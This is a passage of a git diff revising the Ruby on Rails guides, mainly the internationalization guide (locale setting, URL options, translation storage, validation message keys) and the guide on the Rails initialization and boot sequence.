Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it. +NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/globalize/globalize) may help you implement it. The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -132,7 +137,7 @@ If you want to translate your Rails application to a **single language other tha However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests. -WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. +WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this: @@ -174,7 +179,7 @@ end # in your /etc/hosts file to try this out locally def extract_locale_from_tld parsed_locale = request.host.split('.').last - I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil + I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil end ``` @@ -187,7 +192,7 @@ We can also set the locale from the _subdomain_ in a very similar way: # in your /etc/hosts file to try this out locally def extract_locale_from_subdomain parsed_locale = request.subdomains.first - I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil + I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil end ``` @@ -207,17 +212,16 @@ The most usual way of setting (and passing) the locale would be to include it in This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. -Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course. +Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course. -Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method). +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding this method). We can include something like this in our `ApplicationController` then: ```ruby # app/controllers/application_controller.rb -def default_url_options(options={}) - logger.debug "default_url_options is passed options: #{options.inspect}\n" - { locale: I18n.locale } +def default_url_options(options = {}) + { locale: I18n.locale }.merge options end ``` @@ -253,7 +257,7 @@ You would probably need to map URLs like these: ```ruby # config/routes.rb -match '/:locale' => 'dashboard#index' +get '/:locale' => 'dashboard#index' ``` Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.) @@ -262,7 +266,7 @@ NOTE: Have a look at two plugins which simplify work with routes in this way: Sv ### Setting the Locale from the Client Supplied Information -In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about _sessions_, _cookies_ and RESTful architecture above. +In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about _sessions_, _cookies_ and RESTful architecture above. #### Using `Accept-Language` @@ -277,21 +281,22 @@ def set_locale I18n.locale = extract_locale_from_accept_language_header logger.debug "* Locale set to '#{I18n.locale}'" end + private -def extract_locale_from_accept_language_header - request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first -end + def extract_locale_from_accept_language_header + request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first + end ``` Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). #### Using GeoIP (or Similar) Database -Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. +Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. #### User Profile -You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. +You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. Internationalizing your Application ----------------------------------- @@ -304,12 +309,23 @@ You most probably have something like this in one of your applications: ```ruby # config/routes.rb -Yourapp::Application.routes.draw do +Rails.application.routes.draw do root to: "home#index" end ``` ```ruby +# app/controllers/application_controller.rb +class ApplicationController < ActionController::Base + before_action :set_locale + + def set_locale + I18n.locale = params[:locale] || I18n.default_locale + end +end +``` + +```ruby # app/controllers/home_controller.rb class HomeController < ApplicationController def index @@ -353,7 +369,7 @@ NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do So let's add the missing translations into the dictionary files (i.e. do the "localization" part): -```ruby +```yaml # config/locales/en.yml en: hello_world: Hello world! @@ -394,7 +410,7 @@ en: ### Adding Date/Time Formats -OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used. +OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used. ```erb # app/views/home/index.html.erb @@ -405,7 +421,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): -```ruby +```yaml # config/locales/pirate.yml pirate: time: @@ -475,12 +491,14 @@ Overview of the I18n API Features You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. +These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). + Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations -* using safe HTML translations +* using safe HTML translations (view helper method only) * localizing dates, numbers, currency, etc. ### Looking up Translations @@ -494,7 +512,7 @@ I18n.t :message I18n.t 'message' ``` -The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: +The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key: ```ruby I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] @@ -568,6 +586,8 @@ you can look up the `books.index.title` value **inside** `app/views/books/index. <%= t '.title' %> ``` +NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method. + ### Interpolation In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature. @@ -637,7 +657,7 @@ I18n.default_locale = :de ### Using Safe HTML Translations -Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped. ```yaml # config/locales/en.yml @@ -656,56 +676,9 @@ en: <div><%= t('title.html') %></div> ``` - - -How to Store your Custom Translations -------------------------------------- - -The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] - -For example a Ruby Hash providing translations can look like this: +NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method. -```ruby -{ - pt: { - foo: { - bar: "baz" - } - } -} -``` - -The equivalent YAML file would look like this: - -```ruby -pt: - foo: - bar: baz -``` - -As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". - -Here is a "real" example from the Active Support `en.yml` translations YAML file: - -```ruby -en: - date: - formats: - default: "%Y-%m-%d" - short: "%b %d" - long: "%B %d, %Y" -``` - -So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`: - -```ruby -I18n.t 'date.formats.short' -I18n.t 'formats.short', scope: :date -I18n.t :short, scope: 'date.formats' -I18n.t :short, scope: [:date, :formats] -``` - -Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. + ### Translations for Active Record Models @@ -713,7 +686,7 @@ You can use the methods `Model.model_name.human` and `Model.human_attribute_name For example when you add the following translations: -```ruby +```yaml en: activerecord: models: @@ -726,6 +699,19 @@ en: Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle". +You can also set a plural form for model names, adding as following: + +```yaml +en: + activerecord: + models: + user: + one: Dude + other: Dudes +``` + +Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude". + #### Error Message Scopes Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. @@ -788,7 +774,7 @@ This way you can provide special translations for various error messages at diff The translated model name, translated attribute name, and value are always available for interpolation. -So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. +So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. * `count`, where available, can be used for pluralization if present: @@ -797,6 +783,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | confirmation | - | :confirmation | - | | acceptance | - | :accepted | - | | presence | - | :blank | - | +| absence | - | :present | - | | length | :within, :in | :too_short | count | | length | :within, :in | :too_long | count | | length | :is | :wrong_length | count | @@ -813,6 +800,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | numericality | :equal_to | :equal_to | count | | numericality | :less_than | :less_than | count | | numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | +| numericality | :only_integer | :not_an_integer | - | | numericality | :odd | :odd | - | | numericality | :even | :even | - | @@ -865,15 +853,15 @@ Rails uses fixed strings and other localizations, such as format strings and oth #### Action View Helper Methods -* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L51) translations. +* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations. -* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L83) scope if applicable. +* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable. -* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L2) scope. +* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope. #### Active Model Methods -* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". +* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". * `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". @@ -881,14 +869,63 @@ Rails uses fixed strings and other localizations, such as format strings and oth #### Active Support Methods -* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope. +* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope. + +How to Store your Custom Translations +------------------------------------- + +The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] + +For example a Ruby Hash providing translations can look like this: + +```yaml +{ + pt: { + foo: { + bar: "baz" + } + } +} +``` + +The equivalent YAML file would look like this: + +```yaml +pt: + foo: + bar: baz +``` + +As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". + +Here is a "real" example from the Active Support `en.yml` translations YAML file: + +```yaml +en: + date: + formats: + default: "%Y-%m-%d" + short: "%b %d" + long: "%B %d, %Y" +``` + +So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`: + +```ruby +I18n.t 'date.formats.short' +I18n.t 'formats.short', scope: :date +I18n.t :short, scope: 'date.formats' +I18n.t :short, scope: [:date, :formats] +``` + +Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. Customize your I18n Setup ------------------------- ### Using Different Backends -For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. +For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format. That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: @@ -915,7 +952,7 @@ ReservedInterpolationKey # the translation contains a reserved interpolation UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path ``` -The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope. +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope. The reason for this is that during development you'd usually want your views to still render even though a translation is missing. @@ -998,7 +1035,7 @@ If you found this guide useful, please consider recommending its authors on [wor Footnotes --------- -[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ +[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ [^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb index a8e4525c67..57c224c165 100644 --- a/guides/source/index.html.erb +++ b/guides/source/index.html.erb @@ -19,7 +19,7 @@ Ruby on Rails Guides <h3><%= section['name'] %></h3> <dl> <% section['documents'].each do |document| %> - <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %> + <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %> <p><%= document['description'] %></p> <% end %> <% end %> diff --git a/guides/source/initialization.md b/guides/source/initialization.md index 738591659d..00b2761716 100644 --- a/guides/source/initialization.md +++ b/guides/source/initialization.md @@ -7,14 +7,17 @@ as of Rails 4. It is an extremely in-depth guide and recommended for advanced Ra After reading this guide, you will know: * How to use `rails server`. +* The timeline of Rails' initialization sequence. +* Where different files are required by the boot sequence. +* How the Rails::Server interface is defined and used. -------------------------------------------------------------------------------- This guide goes through every method call that is required to boot up the Ruby on Rails stack for a default Rails 4 application, explaining each part in detail along the way. For this -guide, we will be focusing on what happens when you execute +rails -server+ to boot your app. +guide, we will be focusing on what happens when you execute `rails server` +to boot your app. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -26,9 +29,42 @@ quickly. Launch! ------- -Now we finally boot and initialize the app. It all starts with your app's -`bin/rails` executable. A Rails application is usually started by running -`rails console` or `rails server`. +Let's start to boot and initialize the app. A Rails application is usually +started by running `rails console` or `rails server`. + +### `railties/bin/rails` + +The `rails` in the command `rails server` is a ruby executable in your load +path. This executable contains the following lines: + +```ruby +version = ">= 0" +load Gem.bin_path('railties', 'rails', version) +``` + +If you try out this command in a Rails console, you would see that this loads +`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the +following code: + +```ruby +require "rails/cli" +``` + +The file `railties/lib/rails/cli` in turn calls +`Rails::AppRailsLoader.exec_app_rails`. + +### `railties/lib/rails/app_rails_loader.rb` + +The primary goal of the function `exec_app_rails` is to execute your app's +`bin/rails`. If the current directory does not have a `bin/rails`, it will +navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a +`rails` command from anywhere inside a rails application. + +For `rails server` the equivalent of the following command is executed: + +```bash +$ exec ruby bin/rails server +``` ### `bin/rails` @@ -37,7 +73,7 @@ This file is as follows: ```ruby #!/usr/bin/env ruby APP_PATH = File.expand_path('../../config/application', __FILE__) -require File.expand_path('../../config/boot', __FILE__) +require_relative '../config/boot' require 'rails/commands' ``` @@ -51,13 +87,14 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot # Set up gems listed in the Gemfile. ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) -require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) +require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE']) ``` In a standard Rails application, there's a `Gemfile` which declares all dependencies of the application. `config/boot.rb` sets `ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile -exists, `bundler/setup` is then required. +exists, then `bundler/setup` is required. The require is used by Bundler to +configure the load path for your Gemfile's dependencies. A standard Rails application depends on several gems, specifically: @@ -89,7 +126,9 @@ A standard Rails application depends on several gems, specifically: ### `rails/commands.rb` -Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines: +Once `config/boot.rb` has finished, the next file that is required is +`rails/commands`, which helps in expanding aliases. In the current case, the +`ARGV` array simply contains `server` which will be passed over: ```ruby ARGV << '--help' if ARGV.empty? @@ -105,21 +144,48 @@ aliases = { command = ARGV.shift command = aliases[command] || command + +require 'rails/commands/commands_tasks' + +Rails::CommandsTasks.new(ARGV).run_command!(command) ``` TIP: As you can see, an empty ARGV list will make Rails show the help snippet. -If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code: +If we had used `s` rather than `server`, Rails would have used the `aliases` +defined here to find the matching command. + +### `rails/commands/command_tasks.rb` + +When one types an incorrect rails command, the `run_command` is responsible for +throwing an error message. If the command is valid, a method of the same name +is called. ```ruby -when 'server' - # Change to the application's path if there is no config.ru file in current directory. - # This allows us to run `rails server` from other directories, but still get - # the main config.ru and properly set the tmp directory. - Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) +COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help) + +def run_command!(command) + command = parse_command(command) + if COMMAND_WHITELIST.include?(command) + send(command) + else + write_error_message(command) + end +end +``` + +With the `server` command, Rails will further run the following code: + +```ruby +def set_application_directory! + Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru")) +end + +def server + set_application_directory! + require_command!("server") - require 'rails/commands/server' Rails::Server.new.tap do |server| # We need to require application after the server sets environment, # otherwise the --environment option given to the server won't propagate. @@ -127,14 +193,23 @@ when 'server' Dir.chdir(Rails.application.root) server.start end +end + +def require_command!(command) + require "rails/commands/#{command}" +end ``` -This file will change into the Rails root directory (a path two directories up from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class. +This file will change into the Rails root directory (a path two directories up +from `APP_PATH` which points at `config/application.rb`), but only if the +`config.ru` file isn't found. This then requires `rails/commands/server` which +sets up the `Rails::Server` class. ```ruby require 'fileutils' require 'optparse' require 'action_dispatch' +require 'rails' module Rails class Server < ::Rack::Server @@ -198,10 +273,10 @@ def parse_options(args) options = default_options # Don't evaluate CGI ISINDEX parameters. - # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html + # http://www.meb.uni-bonn.de/docs/cgi/cl.html args.clear if ENV.include?("REQUEST_METHOD") - options.merge! opt_parser.parse! args + options.merge! opt_parser.parse!(args) options[:config] = ::File.expand_path(options[:config]) ENV["RACK_ENV"] = options[:environment] options @@ -212,11 +287,14 @@ With the `default_options` set to this: ```ruby def default_options + environment = ENV['RACK_ENV'] || 'development' + default_host = environment == 'development' ? 'localhost' : '0.0.0.0' + { - :environment => ENV['RACK_ENV'] || "development", + :environment => environment, :pid => nil, :Port => 9292, - :Host => "0.0.0.0", + :Host => default_host, :AccessLog => [], :config => "config.ru" } @@ -251,43 +329,50 @@ set earlier) is required. ### `config/application` -When `require APP_PATH` is executed, `config/application.rb` is loaded. -This file exists in your app and it's free for you to change based -on your needs. +When `require APP_PATH` is executed, `config/application.rb` is loaded (recall +that `APP_PATH` is defined in `bin/rails`). This file exists in your application +and it's free for you to change based on your needs. ### `Rails::Server#start` -After `config/application` is loaded, `server.start` is called. This method is defined like this: +After `config/application` is loaded, `server.start` is called. This method is +defined like this: ```ruby def start - url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}" - puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" - puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}" - puts "=> Run `rails server -h` for more startup options" + print_boot_information trap(:INT) { exit } - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + create_tmp_directories + log_to_stdout if options[:log_stdout] + + super + ... +end + +private - #Create required tmp directories if not found - %w(cache pids sessions sockets).each do |dir_to_make| - FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) + def print_boot_information + ... + puts "=> Run `rails server -h` for more startup options" + ... + puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + end + + def create_tmp_directories + %w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make)) + end end - unless options[:daemonize] + def log_to_stdout wrapped_app # touch the app so the logger is set up console = ActiveSupport::Logger.new($stdout) console.formatter = Rails.logger.formatter + console.level = Rails.logger.level Rails.logger.extend(ActiveSupport::Logger.broadcast(console)) end - - super -ensure - # The '-h' option calls exit before @options is set. - # If we call 'options' with it unset, we get double help banners. - puts 'Exiting' unless @options && options[:daemonize] -end ``` This is where the first output of the Rails initialization happens. This @@ -346,7 +431,7 @@ end The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time we're going to explore more (even though it was executed before, and -thus memorized by now). +thus memoized by now). ```ruby @wrapped_app ||= build_app app @@ -356,7 +441,11 @@ The `app` method here is defined like so: ```ruby def app - @app ||= begin + @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config +end +... +private + def build_app_and_options_from_config if !::File.exist? options[:config] abort "configuration #{options[:config]} not found" end @@ -365,7 +454,10 @@ def app self.options.merge! options app end -end + + def build_app_from_string + Rack::Builder.new_from_string(self.options[:builder]) + end ``` The `options[:config]` value defaults to `config.ru` which contains this: @@ -381,8 +473,14 @@ run <%= app_const %> The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code: ```ruby -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", - TOPLEVEL_BINDING, config +app = new_from_string cfgfile, config + +... + +def self.new_from_string(builder_script, file="(rackup)") + eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app", + TOPLEVEL_BINDING, file, 0 +end ``` The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run: @@ -395,11 +493,22 @@ require ::File.expand_path('../config/environment', __FILE__) This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup. -This file begins with requiring `config/application.rb`. +This file begins with requiring `config/application.rb`: + +```ruby +require File.expand_path('../application', __FILE__) +``` ### `config/application.rb` -This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger. +This file requires `config/boot.rb`: + +```ruby +require File.expand_path('../boot', __FILE__) +``` + +But only if it hasn't been required before, which would be the case in `rails server` +but **wouldn't** be the case with Passenger. Then the fun begins! @@ -420,11 +529,12 @@ This file is responsible for requiring all the individual frameworks of Rails: require "rails" %w( - active_record - action_controller - action_mailer - rails/test_unit - sprockets + active_record + action_controller + action_view + action_mailer + rails/test_unit + sprockets ).each do |framework| begin require "#{framework}/railtie" @@ -443,10 +553,12 @@ I18n and Rails configuration are all being defined here. ### Back to `config/environment.rb` -When `config/application.rb` has finished loading Rails, and defined +The rest of `config/application.rb` defines the configuration for the +`Rails::Application` which will be used once the application is fully +initialized. When `config/application.rb` has finished loading Rails and defined the application namespace, we go back to `config/environment.rb`, where the application is initialized. For example, if the application was called -`Blog`, here we would find `Blog::Application.initialize!`, which is +`Blog`, here we would find `Rails.application.initialize!`, which is defined in `rails/application.rb` ### `railties/lib/rails/application.rb` @@ -462,16 +574,33 @@ def initialize!(group=:default) #:nodoc: end ``` -As you can see, you can only initialize an app once. This is also where the initializers are run. +As you can see, you can only initialize an app once. The initializers are run through +the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb` -TODO: review this +```ruby +def run_initializers(group=:default, *args) + return if instance_variable_defined?(:@ran) + initializers.tsort_each do |initializer| + initializer.run(*args) if initializer.belongs_to?(group) + end + @ran = true +end +``` -The initializers code itself is tricky. What Rails is doing here is it -traverses all the class ancestors looking for an `initializers` method, -sorting them and running them. For example, the `Engine` class will make -all the engines available by providing the `initializers` method. +The `run_initializers` code itself is tricky. What Rails is doing here is +traversing all the class ancestors looking for those that respond to an +`initializers` method. It then sorts the ancestors by name, and runs them. +For example, the `Engine` class will make all the engines available by +providing an `initializers` method 